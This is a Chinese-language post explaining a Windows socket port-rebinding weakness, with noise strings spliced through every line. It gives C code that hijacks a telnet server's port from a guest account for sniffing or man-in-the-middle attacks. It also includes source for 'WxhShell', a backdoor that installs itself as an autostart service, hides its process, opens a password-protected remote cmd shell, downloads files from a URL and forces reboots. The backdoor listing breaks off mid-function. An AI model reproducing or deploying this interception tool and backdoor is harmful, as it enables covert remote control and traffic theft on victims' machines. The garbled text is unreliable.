在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
f]Rh<N$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
q[. p(6: j5~~% saddr.sin_family = AF_INET;
=C7<I "837b/>/ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
scE#&OWF% ? a/\5`gnN bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
[BEQ ~A_I ^i@0P}K< 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
eK\i={va uj)fah?Wg 这意味着什么?意味着可以进行如下的攻击:
b<E78B+Aax 2f rwU~y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
y (%y'xBP |NWHZo 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
' Yy+^iCus <(45(6fQ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
vI"BNC*Q1 `j 4> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
;2gO( "_+8z_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
p$Floubh] \23m*3"W 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
p@d_Ru >YcaFnY 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
.kfx\,lgm VLbbn #include
(L W2S;- #include
4S* X=1 #include
!R[~Z7b6 #include
B @8lD\ DWORD WINAPI ClientThread(LPVOID lpParam);
c+##!_[9 int main()
PJ<9T3Fa {
srS)"Jt WORD wVersionRequested;
zXIdup@ DWORD ret;
wxF\enDY WSADATA wsaData;
\[AJWyP BOOL val;
]na$n[T/I SOCKADDR_IN saddr;
NBw{ SOCKADDR_IN scaddr;
py wc~dWvz int err;
@J'tPW<$ SOCKET s;
j@/p: fk SOCKET sc;
xg'xuz$U int caddsize;
_C,9c7K4 HANDLE mt;
8\+DSA DWORD tid;
_9<Mo;C wVersionRequested = MAKEWORD( 2, 2 );
ehZ/J5 err = WSAStartup( wVersionRequested, &wsaData );
tF.N if ( err != 0 ) {
Dnd printf("error!WSAStartup failed!\n");
MieO1l return -1;
C;_0 0EQ= }
UMK9[Iy$<M saddr.sin_family = AF_INET;
-U|Z9sia nXERj; Q" //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1'1>B #@E:|^$1y saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
FRsp?i
K) saddr.sin_port = htons(23);
6A ptq if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
tHr4/
{
~^fb`f+% printf("error!socket failed!\n");
D/wJF[_ return -1;
VKSn \HT~ }
E
*782> val = TRUE;
.S]*A b //SO_REUSEADDR选项就是可以实现端口重绑定的
@h/-P'Lc=7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
.dwbJT {
6d3YLb4M$i printf("error!setsockopt failed!\n");
jI9#OEH_g return -1;
|fo#pwX }
$Xqc'4YOZ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
n"@){:{4? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
h+j*vX/! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
& u6ydN1xe KWM}VZY:Z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
7R,;/3wWjG {
Uz%ynH ret=GetLastError();
% pAbkb3m printf("error!bind failed!\n");
PO,zP9 return -1;
3r[s_Y* }
O,#,` 2Qc listen(s,2);
86a,J3C[ while(1)
l8e)|MSh {
p$` ^A caddsize = sizeof(scaddr);
]@ }o"Td //接受连接请求
zjzEmX sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+{#Z^y6& if(sc!=INVALID_SOCKET)
KEf1GU6s {
;j+*}|! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
+-|}<mq if(mt==NULL)
XD80]@\za {
9Q\RCl_1 printf("Thread Creat Failed!\n");
n(CM)(ozU break;
;Eh"]V,e }
VKg9^%#b`[ }
FtlJ3fB@ CloseHandle(mt);
b;NV vc( }
LLbI}: closesocket(s);
D}UgC\u WSACleanup();
1K'cT\aFm return 0;
QSwT1P'U }
;vn0b"Fi3 DWORD WINAPI ClientThread(LPVOID lpParam)
$x#qv1 {
P/Y)Yx_( SOCKET ss = (SOCKET)lpParam;
ac1(lD SOCKET sc;
@q{. unsigned char buf[4096];
'ITZz n* SOCKADDR_IN saddr;
:Y4Sdj long num;
_xnJfW_ DWORD val;
_Ih"*~ r/& DWORD ret;
`'gcF}); //如果是隐藏端口应用的话,可以在此处加一些判断
&%eM //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'2rSX[$tf saddr.sin_family = AF_INET;
uA cvUN-@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
9fOE. saddr.sin_port = htons(23);
wB+F/]]|N if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3}C-Hg+gt {
I*/:rb printf("error!socket failed!\n");
!)05,6WQ return -1;
C:f^&4
3 }
q;_?e_ val = 100;
'Zqt~5=5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&v Q5+ {
R[TaP7n ret = GetLastError();
g4;|uK; return -1;
CZ%KC$l.5 }
uLNOhgSUf if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4w]<1V {
/AYq^ ret = GetLastError();
K<WowU return -1;
,mz7!c9H^a }
"hZ `^"0b if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
9NZq
k {
$_e{Zv[ printf("error!socket connect failed!\n");
rA@|nL{ closesocket(sc);
UF@. closesocket(ss);
, 10+Sh return -1;
m~&>+q ^7 }
`M- while(1)
579t^"ja~ {
7nM<P4\ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
MOHw{Vw( //如果是嗅探内容的话,可以再此处进行内容分析和记录
A{\DzUV9, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[g{fz3
O6 num = recv(ss,buf,4096,0);
>)mF'w if(num>0)
{}=5uU 2Tu send(sc,buf,num,0);
v[?gM.SF else if(num==0)
9<"F3F0| break;
F(,SnSam num = recv(sc,buf,4096,0);
xx?0Ftuq if(num>0)
H/*i-%]v+( send(ss,buf,num,0);
")fgQ3XZ else if(num==0)
K5(T7S break;
x26 sH5 }
HhzP Kd closesocket(ss);
j",*&sy closesocket(sc);
1o)<23q`) return 0 ;
Ysi@wK-LnF }
P+3
]g{2w DG3Mcf@5 [ .3Gb}B ==========================================================
(8em 5 9AD0|,g 下边附上一个代码,,WXhSHELL
.0|_J|{ C ?\HB#41 ==========================================================
9g$fFO g](&H$g #include "stdafx.h"
Af^9WJ l8lJ & #include <stdio.h>
*LvdrPxU= #include <string.h>
UG6\OgkL+ #include <windows.h>
9s*UJIL #include <winsock2.h>
I."s&]FZ #include <winsvc.h>
y cWY.HD #include <urlmon.h>
u#->? 0bGQO&s
[ #pragma comment (lib, "Ws2_32.lib")
C{6m?6 #pragma comment (lib, "urlmon.lib")
swhtlc@@ CT|H1Ry2T #define MAX_USER 100 // 最大客户端连接数
:[Ie0[H/M #define BUF_SOCK 200 // sock buffer
>.REg[P #define KEY_BUFF 255 // 输入 buffer
uHTm 7[}WvfN8# #define REBOOT 0 // 重启
:vC+}.{p #define SHUTDOWN 1 // 关机
MOIVt) ZY EV~?]Kt~ #define DEF_PORT 5000 // 监听端口
;uuBX0B \i)@"} #define REG_LEN 16 // 注册表键长度
<(us(zbk] #define SVC_LEN 80 // NT服务名长度
\/r]Ra =e6!U5
f // 从dll定义API
A}1:fw\Fn3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#|Je%t}~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
`oE.$~' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
fl*49-d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Ba
n^wX =1mIk0H` // wxhshell配置信息
3LVL5y7| struct WSCFG {
&2W`dEv]? int ws_port; // 监听端口
}BCxAwD4 char ws_passstr[REG_LEN]; // 口令
n$"BF\eM int ws_autoins; // 安装标记, 1=yes 0=no
!,*Uvs@b char ws_regname[REG_LEN]; // 注册表键名
2}ywNVS char ws_svcname[REG_LEN]; // 服务名
L_>LxF43 char ws_svcdisp[SVC_LEN]; // 服务显示名
McvLU+ char ws_svcdesc[SVC_LEN]; // 服务描述信息
iyMoLZ5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
;i 3C int ws_downexe; // 下载执行标记, 1=yes 0=no
1oG'm char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
*(VwD)* char ws_filenam[SVC_LEN]; // 下载后保存的文件名
V_)465g xf{=~j/L };
4{"
v C7Hgzc|U // default Wxhshell configuration
"l6Ob struct WSCFG wscfg={DEF_PORT,
COSQ "xuhuanlingzhe",
Z0Qh7xWve 1,
q4u-mM7#7 "Wxhshell",
_6yrd.H "Wxhshell",
~@iYP/=/Q "WxhShell Service",
1,6Y)_ "Wrsky Windows CmdShell Service",
m=]}Tn "Please Input Your Password: ",
*@&V=l 1,
"6iq_!#L "
http://www.wrsky.com/wxhshell.exe",
A@ w9_qo "Wxhshell.exe"
v<?k$ e5 };
PO=A^ b 8noo^QO // 消息定义模块
xllmF)]*Y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
7L!q{%} char *msg_ws_prompt="\n\r? for help\n\r#>";
N3Z6o.k char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
hQDl&A char *msg_ws_ext="\n\rExit.";
R"QWap} char *msg_ws_end="\n\rQuit.";
SJ:Wr{ Or3 char *msg_ws_boot="\n\rReboot...";
0U:9&jP, char *msg_ws_poff="\n\rShutdown...";
^^gV@fz char *msg_ws_down="\n\rSave to ";
`mKK1x X!]p8Q y char *msg_ws_err="\n\rErr!";
ybgw#jv= char *msg_ws_ok="\n\rOK!";
?w@KF%D jiLt *>I char ExeFile[MAX_PATH];
Oxh.& int nUser = 0;
!p4FK]B/u HANDLE handles[MAX_USER];
[JVUa2Sm int OsIsNt;
T-lHlm "ODs.m oq SERVICE_STATUS serviceStatus;
&4Y@-;REt SERVICE_STATUS_HANDLE hServiceStatusHandle;
l' a<k" n UD;y}}n // 函数声明
w;T?m," int Install(void);
~ponYc.Y int Uninstall(void);
*lp{, int DownloadFile(char *sURL, SOCKET wsh);
P vS\ int Boot(int flag);
`,FvYA" void HideProc(void);
4iZ7BD int GetOsVer(void);
|_wbxdq int Wxhshell(SOCKET wsl);
`"j _] void TalkWithClient(void *cs);
Iy{&T#e" int CmdShell(SOCKET sock);
XFvPc int StartFromService(void);
eX{Tyd{ int StartWxhshell(LPSTR lpCmdLine);
ixo?o]Xb` Qx[
nR/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
`z`"0;,7S VOID WINAPI NTServiceHandler( DWORD fdwControl );
]WC@*3'kye j;i7.B"[ // 数据结构和表定义
0'^zIL#. SERVICE_TABLE_ENTRY DispatchTable[] =
V?Ye^-29 {
K#'{Ko {wscfg.ws_svcname, NTServiceMain},
a(eUdGJ {NULL, NULL}
hjY)W; };
=uIeur FtxmCIVIV~ // 自我安装
bA3pDt).p int Install(void)
.tRWL! {
JUC62s#_z char svExeFile[MAX_PATH];
{K+]^M HKEY key;
$5#+;A'Q+ strcpy(svExeFile,ExeFile);
:jljM(\ cvQMZ,p // 如果是win9x系统,修改注册表设为自启动
>t}0o$\?E if(!OsIsNt) {
4krK CD>|G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
YW)&IA2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
pL)o@-k#% RegCloseKey(key);
u6u1> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fk:oCPo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wr;8o*~ RegCloseKey(key);
F /% 5 r{ return 0;
twJ)h :!_y }
!3#*hL1fy }
"]D2}E>U; }
6/eh~ME= else {
L&SlUXyt.c -!z,t7! // 如果是NT以上系统,安装为系统服务
Ue)8g# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Z3
$3zyi if (schSCManager!=0)
-+=+W {
7\1bq&a< SC_HANDLE schService = CreateService
R} aHo0r (
,Q8)r0 c schSCManager,
fu?Y'Qet wscfg.ws_svcname,
m\xE8D(, wscfg.ws_svcdisp,
J^BC SERVICE_ALL_ACCESS,
Jri"Toz0 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
6tg0=_c SERVICE_AUTO_START,
3xGk@ 333 SERVICE_ERROR_NORMAL,
q!+m,
!M svExeFile,
t9B]V NULL,
cA{zyq26 NULL,
L|[0&u! NULL,
Gdf*x<T1 NULL,
.I&]G NULL
_4jRUsvjY );
@I^LmB9* if (schService!=0)
<kr%ylhIu {
rwUKg[
1N CloseServiceHandle(schService);
DU/WB CloseServiceHandle(schSCManager);
MH,vn</Uw strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
-hIDL'5u-I strcat(svExeFile,wscfg.ws_svcname);
i''[u if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7+vyN^XJ"5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
i-4pdK u RegCloseKey(key);
4^mpQ.]lO return 0;
lIj2w;$v }
2|n~5\K|t }
0*KU"JcXd CloseServiceHandle(schSCManager);
5ZkMd!$y }
LMmW3W`
}
Be(h x f._FwD return 1;
n-7|{1U }
} 1> i YI*Av+Z) // 自我卸载
h)qapC5z, int Uninstall(void)
c`(] j
w {
g&30@D" HKEY key;
Gmi$Nl!~ oX9rpTi if(!OsIsNt) {
wv8WqYV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
KC-q] RegDeleteValue(key,wscfg.ws_regname);
*VFUC: RegCloseKey(key);
|-c)OS3#D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(Wu_RXfCw_ RegDeleteValue(key,wscfg.ws_regname);
Q!<b"8V] RegCloseKey(key);
qUY QN2wG return 0;
]#N~r&hmQ }
+)4_1i4"x }
jHj*S9:` }
{Y! -]_5 else {
8N|y $6a55~h|( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=sk]/64h`` if (schSCManager!=0)
}. x&}FqXE {
hi I`ot SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
jc|"wN] if (schService!=0)
5!T\L~tyt {
m%- if(DeleteService(schService)!=0) {
)r#^{{6[v CloseServiceHandle(schService);
r1= :B'z CloseServiceHandle(schSCManager);
~97T0{E3 return 0;
T
_O|gU }
4$oX,Q`# CloseServiceHandle(schService);
iv*Ft.1t }
sILkTzsw CloseServiceHandle(schSCManager);
S/?KC^JP }
2V0gj
/& }
b NBpt}$ V3'QA1$ return 1;
h-Q3q: }
, wT$L3 4%TY`
II // 从指定url下载文件
fCL5Et int DownloadFile(char *sURL, SOCKET wsh)
&xlz80% {
p
xrd D7 HRESULT hr;
YH(
54R char seps[]= "/";
z
(,%<oX char *token;
VemgG)\ char *file;
fT-yY` char myURL[MAX_PATH];
e5_:15%R\ char myFILE[MAX_PATH];
tc%?{W\ }>\+eG strcpy(myURL,sURL);
%G& Zm$u= token=strtok(myURL,seps);
}kaU0 P while(token!=NULL)
=X?jId{ {
s5X .(;+ file=token;
gOpGwpYZ, token=strtok(NULL,seps);
er Cl@sq }
!tkP!%w 2G'Au} q0n GetCurrentDirectory(MAX_PATH,myFILE);
6e6~82t8/ strcat(myFILE, "\\");
<6=kwV6 strcat(myFILE, file);
@3/.W + send(wsh,myFILE,strlen(myFILE),0);
,ufB*[~ send(wsh,"...",3,0);
GVT+c@Gx
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
*%^Vq if(hr==S_OK)
iol.RszlZ| return 0;
&y?L^Aq else
FTx&] QN? return 1;
}5Yd:%u5 jFBLElE }
'OKDB7Ni
5gV%jQgkC // 系统电源模块
%Y"@VcN int Boot(int flag)
J;pn5k~3 {
K4Mv\! Q<8 HANDLE hToken;
d7+YCi?
TOKEN_PRIVILEGES tkp;
$*ujX,}xG w{J0K;L if(OsIsNt) {
_C3l2v'I$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
V45\.V LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
P%hi*0pwZ tkp.PrivilegeCount = 1;
U$j*{`$4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
W8:?y*6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
x
j6-~< if(flag==REBOOT) {
_@[M0t}g_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
$~xY6"_}!! return 0;
w:l/B
'%]Y }
&BnK[Q8X else {
F.)b`:g if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
x4jn45]x@ return 0;
#F\}PCBe' }
5`oVyxJ< }
}R#YO$J7 else {
a $pxt!6 if(flag==REBOOT) {
<4,n6$E if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
>r] bfN, return 0;
1*{` . }
|tC`rzo else {
_{ z.Tu if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
U$R+&@; return 0;
'./j<2|;U }
`a}!t=~#w }
lg_X|yhL 0*S2_&Q) return 1;
gbOd(ugH }
bKsl'3~ k .l$'%AG:~ // win9x进程隐藏模块
Wpo:'?!(M^ void HideProc(void)
P!qU8AJkt {
<^?64 rWKc,A[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Zi47)8 if ( hKernel != NULL )
=
8F/]8_ {
(J(JB}[X, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
f(Q-W6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Sr1xG%;|/ FreeLibrary(hKernel);
(;2J}XQvO~ }
]K'iCYY "f|\":\ return;
~GJJ{Bm_ }
GQXN1R
3-4' x2
// 获取操作系统版本
o:u *E int GetOsVer(void)
:Hdn&a
i {
2x-67_BHY= OSVERSIONINFO winfo;
Wu]Dpe winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
0\f3L a GetVersionEx(&winfo);
r'7>J:cy= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
#Jt9U1WbF return 1;
"'
g*_ else
e*w2u<HP return 0;
au'Zjj/Ai5 }
vy?Zz<c; 6;g_}Zx // 客户端句柄模块
NLHF3h=?1p int Wxhshell(SOCKET wsl)
!\.%^LK1 {
[!E pv<G SOCKET wsh;
`~'yy q struct sockaddr_in client;
M&Aeh8>uX DWORD myID;
$i&u\iL Iuk!A?XV while(nUser<MAX_USER)
'&{`^l/MH {
&UtsI@Mu int nSize=sizeof(client);
{f;] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
9mW95YI S if(wsh==INVALID_SOCKET) return 1;
/ $7E ZW\}4q;[A handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
~Aul 7[IH if(handles[nUser]==0)
^ mbpt`@ closesocket(wsh);
JAM4
R_ else
C
FY 3D| nUser++;
m'&^\7;D }
<
&[=,R0 @ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
FZTBvdUYp *I7$\0Q return 0;
dx{ZG'@aH }
HY[eo/nM1d 71i".1l{K // 关闭 socket
cTf/B=yMi void CloseIt(SOCKET wsh)
6|*em4 {
gZQ,br* closesocket(wsh);
D^1H(y2zp nUser--;
nP9zTa ExitThread(0);
UZsn14xSA }
& ,KxE(C njO5 YYOu // 客户端请求句柄
(_2;}eg void TalkWithClient(void *cs)
)_$F/ug {
H}TzNs ?OW! zE: SOCKET wsh=(SOCKET)cs;
fU@{!;|Pz char pwd[SVC_LEN];
p-p]dV char cmd[KEY_BUFF];
$9_yD&& char chr[1];
Yh=/?&* int i,j;
tvh)N{j {5<3./5O while (nUser < MAX_USER) {
Q]9g
AOvn<Q if(wscfg.ws_passstr) {
f@:.bp8VB8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-Xm/sq(i)% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$@H]0<3, //ZeroMemory(pwd,KEY_BUFF);
Qw&It i=0;
?Q`u\G3.m while(i<SVC_LEN) {
T@V<J' "RZVv~BD // 设置超时
>5,nB< fd_set FdRead;
F(?A7 struct timeval TimeOut;
-b?yzg,8 FD_ZERO(&FdRead);
)ad-p.Hus FD_SET(wsh,&FdRead);
<F~0D0G TimeOut.tv_sec=8;
^
+e5 M1U= TimeOut.tv_usec=0;
9eA2v{!S int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
-kFPmM; if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
!nPwRK> EfTuHg$pe if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
[N$#&4{Je pwd
=chr[0]; Rd 4
z+G
if(chr[0]==0xd || chr[0]==0xa) { @"B"*z-d
pwd=0; y$JM=f$
break; W$E!}~Ro
} e.8(tEqZ1
i++; *^]lFuX\&E
} Us5P?}
eiiI Wr_7
// 如果是非法用户,关闭 socket ]yvHb)X
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pA
,xDs@37
} VR/*h%
4tv}5llSG
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DOk(5gR
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p>GTFXEi6
zjuU*$A4
while(1) { "JHdF&
6k|^Cs6~z
ZeroMemory(cmd,KEY_BUFF); +\@)
1
m[k@\xS4e
// 自动支持客户端 telnet标准 y.pwj~s
j=0; ]<9KX} B
while(j<KEY_BUFF) { (T0%oina
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bZf18lvij:
cmd[j]=chr[0]; ;r**`O
if(chr[0]==0xa || chr[0]==0xd) { ,-55*Rb i
cmd[j]=0; !|SVRaS
break; nhbCk6Y5LZ
} WyO7,Qr\
j++; a{oG[e
} 38I .1p9
@U~i<kt
// 下载文件 7U:-zfq
if(strstr(cmd,"http://")) { O@[jNs)].
send(wsh,msg_ws_down,strlen(msg_ws_down),0); F@+FXnz
if(DownloadFile(cmd,wsh)) &mG1V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9e`.H0
else :n@j"-HA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BqF%2{
} 9|;"+jlt
else {
2s+ITPr
9>@@W#TK~
switch(cmd[0]) { 0`{3|g
R:Pw@
// 帮助 UUE:>[,
case '?': { ZSB_OS[N
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \wyn
break; -uE2h[X|
} QA=G+1x
// 安装 f{} zqCK
case 'i': { 47GL[ofY
if(Install()) Aqc
Cb[1r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ucVWvXCr
else J ejDF*Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2+Y8b::
break; j@j%)CCM
} E[z8;A^:0
// 卸载 B4/0t:^I
case 'r': { ?iX1;c9
if(Uninstall()) AGH7z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tHvc*D
else HQpw2bdy
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u:6PAVW?
break; yMJY6$Ct
} k|ol+
9Z
// 显示 wxhshell 所在路径 cz2guUu
case 'p': { ,b&-o?.{
char svExeFile[MAX_PATH]; aMUy^>
strcpy(svExeFile,"\n\r"); 8 |@WuD
strcat(svExeFile,ExeFile); %lr<;
send(wsh,svExeFile,strlen(svExeFile),0); i?*_-NAm
break; [(hB%x_"
} Oq7R^t`b
// 重启 oj8_e xx
case 'b': { Sxj _gn
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 86]})H
if(Boot(REBOOT)) c`hj^t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t
Q0vX@I<v
else { &8l4A=l$
closesocket(wsh); Mp8FYPjZ
ExitThread(0); #6jdv|fu
} r_5k$u(
break; 6I)1[tU
} X_j=u1*5
// 关机 3eq VY0q
case 'd': { >N&C-6W
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QGWfF,q
if(Boot(SHUTDOWN)) oAMB}a;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Mujx3Fmvx
else { <@Lw '
closesocket(wsh); [P,/J$v^~
ExitThread(0); %LL*V|
} ,>DaS(
break; 8-A *Jc
} r*n_#&-7
// 获取shell :3FJe
case 's': { qkM<t?uS
CmdShell(wsh); k Xs&k8
closesocket(wsh); bIX'|=
ExitThread(0); 6{XdLI
break; l~Em2@c
} ]<V,5'xh
// 退出 ,%|$#
g 0
case 'x': { r N"P
IH
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1j_x51p
CloseIt(wsh); rm-6Az V
break; ^G(/;c*=
} Gk.;<d
// 离开 %
d%KH9u
case 'q': { a^9-9*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); jq4'=L$4
closesocket(wsh); 4z~%gt74O]
WSACleanup(); &HPzm6.3
exit(1); 33R_JM{
break; /,>@+^ 1
} L4)@lmd3
} 5]Wkk~a
} =,*4:TU
}]qx "
// 提示信息 5`ma#_zk|f
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xJ;DkPh
} n*4N%yI^m5
} [vIHYp
g{`r WKj
return; Jb~nu
} m[@7!.0=
\"E-z.wW=
// shell模块句柄 rC(-dJkV
int CmdShell(SOCKET sock) a]-.@^:_i
{ \2rCT~x
STARTUPINFO si; lL*k!lNs
ZeroMemory(&si,sizeof(si)); }F*u
9E
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vd8BQB,Q
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .ZK|%VGW
PROCESS_INFORMATION ProcessInfo; G4jaHpPi
char cmdline[]="cmd"; B!Ss
35<
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BjT0mk"P
return 0; OV l,o
} nFVQOr;
iNTw;ov
// 自身启动模式 Qi_De
'@
int StartFromService(void) G1Qc\mp
{ IZ2c<B5&
typedef struct R+c
{Pl
{ 6j]pJ]F6
DWORD ExitStatus; ty8\@l
DWORD PebBaseAddress; t/6t{*-w
DWORD AffinityMask; =uZOpeviQ
DWORD BasePriority; u-CC UMR
